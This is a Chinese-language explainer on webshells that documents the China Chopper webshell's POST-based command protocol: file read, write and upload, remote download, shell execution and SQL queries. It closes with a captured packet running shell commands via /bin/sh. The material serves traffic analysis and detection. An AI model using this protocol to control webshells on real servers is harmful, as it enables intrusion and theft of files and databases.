1、webshell
webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作【1】。
2、中国菜刀通信
菜刀客户端填写的密码为pass,网页编码选的是GB2312(Jsp服务端会用到此参数)
注:所有参数都以POST提交,返回的数据都要以->|为开始标记,|<-为结束标记注:返回的错误信息开头包含ERROR://
注:\t代表制表符TAB,\r\n代表换行回车,\n代表回车注:数据库配置信息是一个字符串,服务端脚本可以对此字符串格式进行自定义。———————————————————————————————————————————–
[得到当前目录的绝对路径]
提交:pass=A&z0=GB2312
返回:目录的绝对路径\t,如果是Windows系统后面接着加上驱动器列表示例:c:\inetpub\wwwroot\ C:D:E:K:
示例:/var/www/html/
[目录浏览]
提交:pass=B&z0=GB2312&z1=目录绝对路径返回:先目录后文件,目录名后要加/,文件名后不要加/
示例:目录名/\t时间\t大小\t属性\n目录名/\t时间\t大小\t属性\n
文件名\t时间\t大小\t属性\n文件名\t时间\t大小\t属性\n
[读取文本文件]
提交:pass=C&z0=GB2312&z1=文件绝对路径返回:文本文件的内容
[写入文本文件]
提交:pass=D&z0=GB2312&z1=文件绝对路径&z2=文件内容返回:成功返回1,不成功返回错误信息
[删除文件或目录]
提交:pass=E&z0=GB2312&z1=文件或目录的绝对路径返回:成功返回1,不成功返回错误信息
[下载文件]
提交:pass=F&z0=GB2312&z1=服务器文件的绝对路径返回:要下载文件的内容
[上传文件]
提交:pass=G&z0=GB2312&z1=文件上传后的绝对路径&z2=文件内容(十六进制文本格式)
返回:要下载文件的内容
[复制文件或目录后粘贴]
提交:pass=H&z0=GB2312&z1=复制的绝对路径&z2=粘贴的绝对路径返回:成功返回1,不成功返回错误信息
[文件或目录重命名]
提交:pass=I&z0=GB2312&z1=原名(绝对路径)&z2=新名(绝对路径)
返回:成功返回1,不成功返回错误信息
[新建目录]
提交:pass=J&z0=GB2312&z1=新目录名(绝对路径)
返回:成功返回1,不成功返回错误信息
[修改文件或目录时间]
提交:pass=K&z0=GB2312&z1=文件或目录的绝对路径&z2=时间(格式:yyyy-MM-ddHH:mm:ss)
返回:成功返回1,不成功返回错误信息
[下载文件到服务器]
提交:pass=L&z0=GB2312&z1=URL路径&z2=下载后保存的绝对路径返回:成功返回1,不成功返回错误信息
[执行Shell命令(Shell路径前会根据服务器系统类型加上-c或/c参数)]
提交:pass=M&z0=GB2312&z1=(-c或/c)加Shell路径&z2=Shell命令返回:命令执行结果
[得到数据库基本信息]
提交:pass=N&z0=GB2312&z1=数据库配置信息返回:成功返回数据库(以制表符\t分隔), 不成功返回错误信息
[获取数据库表名]
提交:pass=O&z0=GB2312&z1=数据库配置信息\r\n数据库名返回:成功返回数据表(以\t分隔), 不成功返回错误信息
[获取数据表列名]
提交:pass=P&z0=GB2312&z1=数据库配置信息\r\n数据库名\r\n数据表名返回:成功返回数据列(以制表符\t分隔), 不成功返回错误信息
[执行数据库命令]
提交:pass=Q&z0=GB2312&z1=数据库配置信息\r\n数据库名&z2=SQL命令返回:成功返回数据表内容, 不成功返回错误信息注意:返回的第一行为表头,接下去每行分别在列表中显示,列数要求一致。行中的每列后加上\t|\t标记,每行以标记\r\n为结束
3、PCAP分析
webshell数据包下载 webshell.pcap
[执行Shell命令(Shell路径前会根据服务器系统类型加上-c或/c参数)]
提交:pass=M&z0=GB2312&z1=(-c或/c)加Shell路径&z2=Shell命令返回:命令执行结果
POST表单为wahaha=M&z0=GB2312&z1=“-c/bin/sh"&z2="cd /;ifconfig;echo [s];pwd;echo [E]"

参考链接:
【1】https://www.jianshu.com/p/02aac12e459f
【2】https://www.cnblogs.com/sunziren/p/10332986.html
【3】https://github.com/jearyorg/jsp/blob/master/chopper.jsp
【4】 https://gitee.com/pcaplab/CyberThreatBehavior/blob/master/behavior/webattck/